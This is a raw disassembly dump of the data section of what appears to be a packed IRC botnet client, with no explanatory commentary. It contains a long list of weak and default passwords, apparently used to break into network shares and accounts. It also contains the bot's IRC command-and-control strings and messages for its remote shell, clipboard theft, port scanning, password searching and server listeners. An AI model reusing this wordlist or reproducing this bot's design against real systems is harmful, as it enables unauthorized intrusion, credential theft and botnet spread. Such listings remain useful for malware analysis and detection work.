aLove db 'love',0 ; DATA XREF: UPX0:0042E964o
align 4
aPwd db 'pwd',0 ; DATA XREF: UPX0:0042E960o
aLogin db 'login',0 ; DATA XREF: UPX0:0042E95Co
align 4
aHome db 'home',0 ; DATA XREF: UPX0:0042E958o
align 10h
aZxcv db 'zxcv',0 ; DATA XREF: UPX0:0042E954o
align 4
aYxcv db 'yxcv',0 ; DATA XREF: UPX0:0042E950o
align 10h
aQwer db 'qwer',0 ; DATA XREF: UPX0:0042E94Co
align 4
aSecret db 'secret',0 ; DATA XREF: UPX0:0042E948o
align 10h
aAsdf db 'asdf',0 ; DATA XREF: UPX0:0042E944o
align 4
aPc db 'pc',0 ; DATA XREF: UPX0:0042E940o
align 4
aWin db 'win',0 ; DATA XREF: UPX0:0042E93Co
aTest123 db 'test123',0 ; DATA XREF: UPX0:0042E938o
aAbc db 'abc',0 ; DATA XREF: UPX0:0042E934o
aAaa db 'aaa',0 ; DATA XREF: UPX0:0042E930o
aA_1: ; DATA XREF: UPX0:0042E92Co
unicode 0, <a>,0
aCrash db 'crash',0 ; DATA XREF: UPX0:0042E928o
align 4
aFucked db 'fucked',0 ; DATA XREF: UPX0:0042E924o
align 4
aNetfuck db 'netfuck',0 ; DATA XREF: UPX0:0042E920o
aIrule db 'irule',0 ; DATA XREF: UPX0:0042E91Co
align 4
aOwned db 'owned',0 ; DATA XREF: UPX0:0042E918o
align 4
a0wned db '0wned',0 ; DATA XREF: UPX0:0042E914o
align 4
aNetDevil db 'net-devil',0 ; DATA XREF: UPX0:0042E910o
align 10h
aNetdevil db 'netdevil',0 ; DATA XREF: UPX0:0042E90Co
align 4
aDevil db 'devil',0 ; DATA XREF: UPX0:0042E908o
align 4
aNilez db 'Nilez',0 ; DATA XREF: UPX0:0042E904o
align 4
aFoobar db 'foobar',0 ; DATA XREF: UPX0:0042E900o
align 4
aGod db 'god',0 ; DATA XREF: UPX0:0042E8FCo
aSex db 'sex',0 ; DATA XREF: UPX0:0042E8F8o
aPat db 'pat',0 ; DATA XREF: UPX0:0042E8F4o
aPatrick db 'patrick',0 ; DATA XREF: UPX0:0042E8F0o
aAlpha db 'alpha',0 ; DATA XREF: UPX0:0042E8ECo
align 10h
a007 db '007',0 ; DATA XREF: UPX0:0042E8E8o
a123abc db '123abc',0 ; DATA XREF: UPX0:0042E8E4o
align 4
a1234qwer db '1234qwer',0 ; DATA XREF: UPX0:0042E8E0o
align 4
a123123 db '123123',0 ; DATA XREF: UPX0:0042E8DCo
align 10h
a121212 db '121212',0 ; DATA XREF: UPX0:0042E8D8o
align 4
a111111 db '111111',0 ; DATA XREF: UPX0:0042E8D4o
align 10h
a110 db '110',0 ; DATA XREF: UPX0:0042E8D0o
a2600 db '2600',0 ; DATA XREF: UPX0:0042E8CCo
align 4
a2002 db '2002',0 ; DATA XREF: UPX0:0042E8C4o
align 4
aXp_0 db 'xp',0 ; DATA XREF: UPX0:0042E8C0o
align 4
aEnable db 'enable',0 ; DATA XREF: UPX0:0042E8BCo
align 10h
aGodblessyou db 'godblessyou',0 ; DATA XREF: UPX0:0042E8B8o
aIhavenopass db 'ihavenopass',0 ; DATA XREF: UPX0:0042E8B4o
a123asd db '123asd',0 ; DATA XREF: UPX0:0042E8B0o
align 10h
aSuper db 'super',0 ; DATA XREF: UPX0:0042E8ACo
align 4
aInternet db 'Internet',0 ; DATA XREF: UPX0:0042E8A8o
align 4
a123qwe db '123qwe',0 ; DATA XREF: UPX0:0042E8A0o
align 4
aSybase db 'sybase',0 ; DATA XREF: UPX0:0042E89Co
align 4
aAbc123 db 'abc123',0 ; DATA XREF: UPX0:0042E894o
align 4
aAbcd db 'abcd',0 ; DATA XREF: UPX0:0042E890o
align 4
aPasswd db 'passwd',0 ; DATA XREF: UPX0:0042E888o
align 4
aPass_0 db 'pass',0 ; DATA XREF: UPX0:0042E884o
align 4
a88888888 db '88888888',0 ; DATA XREF: UPX0:0042E880o
align 10h
a11111111 db '11111111',0 ; DATA XREF: UPX0:0042E87Co
align 4
a111 db '111',0 ; DATA XREF: UPX0:0042E878o
a54321 db '54321',0 ; DATA XREF: UPX0:0042E874o
align 4
a654321 db '654321',0 ; DATA XREF: UPX0:0042E870o
align 10h
a123456789 db '123456789',0 ; DATA XREF: UPX0:0042E86Co
align 4
a12345678 db '12345678',0 ; DATA XREF: UPX0:0042E868o
align 4
a1234567 db '1234567',0 ; DATA XREF: UPX0:0042E864o
a123456 db '123456',0 ; DATA XREF: UPX0:0042E860o
align 4
a12345 db '12345',0 ; DATA XREF: UPX0:0042E85Co
align 10h
a1234 db '1234',0 ; DATA XREF: UPX0:0042E858o
align 4
a123 db '123',0 ; DATA XREF: UPX0:0042E854o
a12 db '12',0 ; DATA XREF: UPX0:0042E850o
align 10h
a1: ; DATA XREF: UPX0:0042E84Co
unicode 0, <1>,0
aTemp123 db 'temp123',0 ; DATA XREF: UPX0:0042E848o
aChangeme_0 db 'Changeme',0 ; DATA XREF: UPX0:0042E844o
align 4
aChangeme db 'changeme',0 ; DATA XREF: UPX0:0042E840o
align 4
aLinux db 'linux',0 ; DATA XREF: UPX0:0042E83Co
align 4
aUnix db 'unix',0 ; DATA XREF: UPX0:0042E838o
align 4
aLocal db 'LOCAL',0 ; DATA XREF: UPX0:0042E834o
align 4
aPepsi db 'pepsi',0 ; DATA XREF: UPX0:0042E830o
align 4
aServer_2 db 'SERVER',0 ; DATA XREF: UPX0:0042E82Co
align 4
aSystem_1 db 'SYSTEM',0 ; DATA XREF: UPX0:0042E828o
align 4
aBackup db 'BACKUP',0 ; DATA XREF: UPX0:0042E824o
align 4
aAccess db 'ACCESS',0 ; DATA XREF: UPX0:0042E81Co
align 4
aTest db 'TEST',0 ; DATA XREF: UPX0:0042E818o
align 4
aEdu db 'edu',0 ; DATA XREF: UPX0:0042E814o
aOwner_1 db 'Owner',0 ; DATA XREF: UPX0:0042E810o
align 4
aOwner_0 db 'OWNER',0 ; DATA XREF: UPX0:0042E80Co
align 10h
aDemo db 'DEMO',0 ; DATA XREF: UPX0:0042E808o
align 4
aFiles db 'FILES',0 ; DATA XREF: UPX0:0042E804o
align 10h
aRead db 'READ',0 ; DATA XREF: UPX0:0042E800o
align 4
aBoth db 'BOTH',0 ; DATA XREF: UPX0:0042E7FCo
align 10h
aLadeda db 'ladeda',0 ; DATA XREF: UPX0:0042E7F8o
align 4
aFull_0 db 'FULL',0 ; DATA XREF: UPX0:0042E7F4o
align 10h
aWrite db 'WRITE',0 ; DATA XREF: UPX0:0042E7F0o
align 4
aShare_0 db 'SHARE',0 ; DATA XREF: UPX0:0042E7ECo
align 10h
aTemp db 'TEMP',0 ; DATA XREF: UPX0:0042E7E8o
align 4
aPassword db 'PASSWORD',0 ; DATA XREF: UPX0:0042E7E4o
align 4
aAdmin_0 db 'ADMIN',0 ; DATA XREF: UPX0:0042E7E0o
align 4
aRoot_0 db 'ROOT',0 ; DATA XREF: UPX0:0042E7D8o
align 4
aGuest_1 db 'GUEST',0 ; DATA XREF: UPX0:0042E7D4o
align 4
aBla db 'bla',0 ; DATA XREF: UPX0:0042E7D0o
aFubar db 'fubar',0 ; DATA XREF: UPX0:0042E7CCo
align 4
aAdministrato_1 db 'ADMINISTRATOR',0 ; DATA XREF: UPX0:0042E7C0o
align 4
aDb2 db 'db2',0 ; DATA XREF: UPX0:0042E7B0o
aOracle db 'oracle',0 ; DATA XREF: UPX0:0042E7ACo
; UPX0:0042E898o
align 4
aDba db 'dba',0 ; DATA XREF: UPX0:0042E7A8o
aDatabase db 'database',0 ; DATA XREF: UPX0:0042E7A4o
; UPX0:0042E88Co
align 4
aDefault db 'default',0 ; DATA XREF: UPX0:0042E7A0o
; UPX0:0042EF2Co
aGuest_0 db 'guest',0 ; DATA XREF: UPX0:0042E79Co
align 4
aWwwadmin db 'wwwadmin',0 ; DATA XREF: UPX0:0042E798o
align 10h
aTeacher db 'teacher',0 ; DATA XREF: UPX0:0042E794o
; UPX0:0042FEC0o
aStudent db 'student',0 ; DATA XREF: UPX0:0042E790o
; UPX0:0042FE08o
aOwner db 'owner',0 ; DATA XREF: UPX0:0042E78Co
align 4
aComputer db 'computer',0 ; DATA XREF: UPX0:0042E788o
; UPX0:0042E8A4o
align 4
aRoot db 'root',0 ; DATA XREF: UPX0:0042E784o
; UPX0:0042E7DCo
align 4
aStaff db 'staff',0 ; DATA XREF: UPX0:0042E780o
align 4
aAdmin db 'admin',0 ; DATA XREF: UPX0:0042E77Co
align 4
aAdmins db 'admins',0 ; DATA XREF: UPX0:0042E778o
align 4
aAdministrat db 'administrat',0 ; DATA XREF: UPX0:0042E774o
aAdministrateur db 'administrateur',0 ; DATA XREF: UPX0:0042E770o
align 10h
aAdministrador db 'administrador',0 ; DATA XREF: UPX0:0042E76Co
align 10h
aAdministrato_0 db 'administrator',0 ; DATA XREF: UPX0:0042E768o
; UPX0:0042E7C8o
align 10h
aH4ckerTool_0 db 'h4cker tool',0 ; DATA XREF: UPX0:off_42E6B8o
aAsa@ db 'asa@*',0 ; DATA XREF: UPX0:off_42E6B4o
align 4
; char dword_434104
dword_434104 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40E68B+34Fo
dd 2BBBB02h, 6F422020h, 74732074h, 65747261h, 2E64h
; char aSDS[]
aSDS db '%s %d "%s"',0 ; DATA XREF: sub_40E68B+27Do
align 4
; char dword_434138[]
dword_434138 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EB71+F2o
dd 2BBBB02h
aConnectedToS_ db ' Connected to %s.',0
align 4
; char aNickSUserS00S[]
aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_40ECD9+62o
db 'USER %s 0 0 :%s',0Dh,0Ah,0
align 10h
; char aPassS[]
aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_40ECD9+35o
align 4
; char aModeSS[]
aModeSS db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE51+628Fo
align 4
; char aUserhostS[]
aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE51+627Ao
align 4
dword_4341AC dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE51+626Do
dd 2BBBB02h
aUserSLoggedIn_ db ' User: %s logged in.',0
align 4
dword_4341DC dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE51+6250o
dd 2BBBB02h
aPasswordAccept db ' Password accepted.',0
align 4
dword_43420C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE51+61F2o
dd 2BBBB02h
aFailedHostAuth db ' *Failed host auth by: (%s!%s).',0
align 4
; char dword_434248
dword_434248 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE51+6182o
dd 2BBBB02h
aFailedPassAuth db ' *Failed pass auth by: (%s!%s).',0
align 4
; char aNoticeSYouVeBe[]
aNoticeSYouVeBe db 'NOTICE %s :You',27h,'ve been logged.',0Dh,0Ah,0
; DATA XREF: sub_40EE51+6173o
; sub_40EE51+61E3o
align 4
; char aNoticeSNiceTry[]
aNoticeSNiceTry db 'NOTICE %s :Nice try, idiot. (%s!%s).',0Dh,0Ah,0
; DATA XREF: sub_40EE51+615Fo
; sub_40EE51+61CFo
align 10h
; char asc_4342D0[]
asc_4342D0: ; DATA XREF: sub_40EE51+612Fo
unicode 0, <~>,0
; char dword_4342D4[]
dword_4342D4 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE51+60DEo
dd 2BBBB02h
aRandomNickChan db ' Random nick change: %s',0
align 4
dword_434308 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE51+6030o
dd 2BBBB02h
aInvalidLoginSl db ' Invalid login slot number: %d.',0
align 4
dword_434344 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE51+6025o
dd 2BBBB02h
aNoUserLoggedIn db ' No user logged in at slot: %d.',0
align 10h
; char dword_434380
dword_434380 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE51+5FC1o
dd 2BBBB02h, 73252020h, 0
; char unk_4343A0
unk_4343A0 db 2 ; DATA XREF: sub_40EE51+5F97o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToStar_6 db ' Failed to start secure thread, error: <%d>.',0
align 4
; char dword_4343EC
dword_4343EC dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h
; DATA XREF: sub_40EE51+5F21o
dd 2202967h, 2002BBBBh, 20732520h, 74737973h, 2E6D65h
aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_40EE51+5F1Bo
align 10h
aSecuring db 'Securing',0 ; DATA XREF: sub_40EE51+5F14o
align 4
; char aSec[]
aSec db 'sec',0 ; DATA XREF: sub_40EE51+5EB9o
; char aSecure[]
aSecure db 'secure',0 ; DATA XREF: sub_40EE51+5EA8o
align 4
unk_434438 db 2 ; DATA XREF: sub_40EE51+5E9Do
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Fh, 63h
db 6Bh ; k
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToStar_7 db 'Failed to start server thread, error: <%d>.',0
dword_434480 dd 69026602h, 6966646Eh, 1F651F6Ch, 2E2Eh ; DATA XREF: sub_40EE51+5D7Bo
dword_434490 dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_40EE51+5D76o
dword_43449C dd 72027002h, 1F631F6Fh, 2E2Eh ; DATA XREF: sub_40EE51+5D63o
dword_4344A8 dd 636F7250h, 20737365h, 7473696Ch, 0 ; DATA XREF: sub_40EE51+5D5Eo
dword_4344B8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE51+5D2Bo
dd 2BBBB02h, 65522020h, 6E6E6F63h, 69746365h, 2E676Eh
; char aQuitReconnecti[]
aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40EE51:loc_414B6Fo
align 4
dword_4344F8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE51+5D09o
dd 2BBBB02h, 69442020h, 6E6F6373h, 7463656Eh, 2E676E69h
dd 0
; char aQuitDisconnect[]
aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40EE51:loc_414B4Do
align 4
; char aQuitS[]
aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_40EE51+5CD4o
align 4
; char dword_434548
dword_434548 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE51+5C88o
dd 2BBBB02h
aStatusReady_Bo db ' Status: Ready. Bot Uptime: %s.',0
align 4
; char dword_434584
dword_434584 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE51+5C4Ao
dd 2BBBB02h, 6F422020h, 44492074h, 7325203Ah, 2Eh
; char dword_4345AC
dword_4345AC dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
; DATA XREF: sub_40EE51+5C1Fo
dd 2029671Fh, 2BBBB02h
aFailedToStartL db ' Failed to start list thread, error: <%d>.',0
; char dword_4345F4
dword_4345F4 dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
; DATA XREF: sub_40EE51+5BB4o
dd 2029671Fh, 2BBBB02h, 694C2020h, 74207473h, 61657268h
dd 2E7364h
; char aSub[]
aSub db 'sub',0 ; DATA XREF: sub_40EE51+5B8Eo
dword_434624 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE51+5B3Fo
dd 2BBBB02h, 6C412020h, 20736169h, 7473696Ch, 2Eh
dword_43464C dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE51+5B24o
dd 2BBBB02h
aFailedToStar_8 db ' Failed to start listing thread, error: <%d>.',0
align 4
; char dword_434694
dword_434694 dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE51+5A97o
dd 2BBBB02h, 694C2020h, 6E697473h, 6F6C2067h, 2E67h
dword_4346BC dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE51+5A16o
dd 2BBBB02h, 654E2020h, 726F7774h, 6E49206Bh, 2E6F66h
dword_4346E4 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE51+59E7o
dd 2BBBB02h, 79532020h, 6D657473h, 666E4920h, 2E6Fh
dword_43470C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE51+5992o
dd 2BBBB02h, 65522020h, 69766F6Dh, 4220676Eh, 2E746Fh
unk_434734 db 2 ; DATA XREF: sub_40EE51+597Fo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 72h, 6Fh
db 63h ; c
db 65h, 2 dup(73h)
db 65h ; e
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToStar_9 db 'Failed to start listing thread, error: <%d>.',0
align 4
; char dword_434784
dword_434784 dd 7A026E02h, 201F6D1Fh, 6F727028h, 73736563h, 702E7365h
; DATA XREF: sub_40EE51+5910o
dd 671F6C1Fh, 0BB022029h, 202002BBh, 636F7250h, 73736563h
dd 73696C20h, 2E74h
; char aFull[]
aFull db 'full',0 ; DATA XREF: sub_40EE51+58F0o
align 4
unk_4347BC db 2 ; DATA XREF: sub_40EE51+5899o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 72h, 6Fh
db 63h ; c
db 65h, 2 dup(73h)
db 65h ; e
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aAlreadyRunning db 'Already running.',0
align 10h
; char unk_4347F0
unk_4347F0 db 2 ; DATA XREF: sub_40EE51+586Do
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 63h, 64h, 6Bh
db 65h ; e
db 79h, 73h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aSearchComplete db ' Search completed.',0
align 10h
; char dword_434820
dword_434820 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE51+5821o
dd 2BBBB02h, 70552020h, 656D6974h, 7325203Ah, 2Eh
; char dword_434848
dword_434848 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE51:loc_4145B0o
dd 2BBBB02h
aRemoteShellRea db ' Remote shell ready.',0
align 4
dword_434878 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE51+5758o
dd 2BBBB02h
aCouldnTOpenRem db ' Couldn',27h,'t open remote shell.',0
align 10h
dword_4348B0 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE51+573Co
dd 2BBBB02h
aRemoteShellAlr db ' Remote shell already running.',0
dword_4348E8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE51+5726o
dd 2BBBB02h, 65472020h, 6C432074h, 6F627069h, 2E647261h
dd 0
aClipboardData db '-[Clipboard Data]-',0 ; DATA XREF: sub_40EE51+56F8o
align 4
unk_434928 db 2 ; DATA XREF: sub_40EE51:loc_414539o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 6Ch, 75h
db 73h ; s
db 68h, 64h, 6Eh
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToFlushA db ' Failed to flush ARP cache.',0
align 4
; char unk_434964
unk_434964 db 2 ; DATA XREF: sub_40EE51+56CDo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 6Ch, 75h
db 73h ; s
db 68h, 64h, 6Eh
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aArpCacheFlushe db ' ARP cache flushed.',0
align 4
unk_434998 db 2 ; DATA XREF: sub_40EE51:loc_41450Eo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 6Ch, 75h
db 73h ; s
db 68h, 64h, 6Eh
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToLoadDn db ' Failed to load dnsapi.dll.',0
align 4
unk_4349D4 db 2 ; DATA XREF: sub_40EE51:loc_414507o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 6Ch, 75h
db 73h ; s
db 68h, 64h, 6Eh
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToFlushD db ' Failed to flush DNS cache.',0
align 10h
unk_434A10 db 2 ; DATA XREF: sub_40EE51+56AFo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 6Ch, 75h
db 73h ; s
db 68h, 64h, 6Eh
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aDnsCacheFlushe db ' DNS cache flushed.',0
align 4
; char dword_434A44
dword_434A44 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
; DATA XREF: sub_40EE51+563Fo
dd 2029671Fh, 2BBBB02h
aFailedToSta_10 db ' Failed to start server thread, error: <%d>.',0
align 10h
; char dword_434A90
dword_434A90 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
; DATA XREF: sub_40EE51+55D4o
dd 2029671Fh, 2BBBB02h
aServerListen_0 db ' Server listening on IP: %s:%d, Username: %s.',0
align 4
unk_434ADC db 2 ; DATA XREF: sub_40EE51+550Bo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 68h, 2 dup(74h)
db 70h ; p
db 64h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToSta_11 db 'Failed to start server thread, error: <%d>.',0
unk_434B24 db 2 ; DATA XREF: sub_40EE51+5395o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 74h, 66h, 74h
db 70h ; p
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_12 db ' Failed to start server thread, error: <%d>.',0
align 4
unk_434B6C db 2 ; DATA XREF: sub_40EE51+526Do
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 74h, 66h, 74h
db 70h ; p
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aAlreadyRunni_0 db ' Already running.',0
unk_434B98 db 2 ; DATA XREF: sub_40EE51+5257o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 69h, 6Eh
db 64h ; d
db 70h, 61h, 73h
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_13 db ' Failed to start search thread, error: <%d>.',0
; char unk_434BE4
unk_434BE4 db 2 ; DATA XREF: sub_40EE51+51D4o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 69h, 6Eh
db 64h ; d
db 70h, 61h, 73h
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSearchingForPa db ' Searching for password.',0
unk_434C1C db 2 ; DATA XREF: sub_40EE51:loc_414001o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 72h, 2 dup(6Fh)
db 74h ; t
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_14 db ' Failed to start scan, port is invalid.',0
align 10h
; char unk_434C60
unk_434C60 db 2 ; DATA XREF: sub_40EE51+50F1o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 72h, 2 dup(6Fh)
db 74h ; t
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSPortScanStart db ' %s Port Scan started on %s:%d with a delay of %d seconds for %d'
db ' minutes using %d threads.',0
align 4
dword_434CD8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE51+4EB1o
dd 2BBBB02h
aNickChangedToS db ' Nick changed to: ',27h,'%s',27h,'.',0
align 4
dword_434D0C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE51+4E98o
dd 2BBBB02h
aJoinedChannelS db ' Joined channel: ',27h,'%s',27h,'.',0
dword_434D3C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE51+4E78o
dd 2BBBB02h
aPartedChannelS db ' Parted channel: ',27h,'%s',27h,'.',0
dword_434D6C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE51+4E5Fo
dd 2BBBB02h, 52492020h, 61522043h, 25203A77h, 2E73h
; char dword_434D94
dword_434D94 dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
; DATA XREF: sub_40EE51:loc_413C32o
dd 2029671Fh, 2BBBB02h
aFailedToKillTh db ' Failed to kill thread: %s.',0
align 10h
dword_434DD0 dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
; DATA XREF: sub_40EE51+4DDAo
dd 2029671Fh, 2BBBB02h
aKilledThreadS_ db ' Killed thread: %s.',0
align 4
dword_434E04 dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
; DATA XREF: sub_40EE51:loc_413BE5o
dd 2029671Fh, 2BBBB02h
aNoActiveThread db ' No active threads found.',0
align 4
; char dword_434E3C
dword_434E3C dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
; DATA XREF: sub_40EE51+4D7Bo
dd 2029671Fh, 2BBBB02h
aStoppedDThread db ' Stopped: %d thread(s).',0
align 4
; char aAll[]
aAll db 'all',0 ; DATA XREF: sub_40EE51+4D61o
; char aQuitLater[]
aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_40EE51+4CDAo
; sub_40EE51:loc_414B37o
align 4
dword_434E88 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE51+4C62o
dd 2BBBB02h
aPrefixChangedT db ' Prefix changed to: ',27h,'%c',27h,'.',0
align 4
unk_434EBC db 3 ; DATA XREF: sub_40EE51:loc_413A9Eo
db 31h, 35h, 2Ch
db 31h ; 1
db 34h, 6Eh, 7Ah
db 6Dh ; m
db 20h, 3, 32h
db 2Eh ; .
db 2Eh, 20h, 3
db 31h ; 1
db 35h, 28h, 73h
db 68h ; h
db 65h, 2 dup(6Ch)
db 3
db 32h, 2Eh, 3
db 31h ; 1
db 35h, 6Dh, 6Fh
db 64h ; d
db 29h, 20h, 3
db 32h ; 2
db 0BBh, 3, 31h
a5CouldnTOpenFi db '5 Couldn',27h,'t open file: %s',0
align 10h
unk_434F00 db 3 ; DATA XREF: sub_40EE51+4C43o
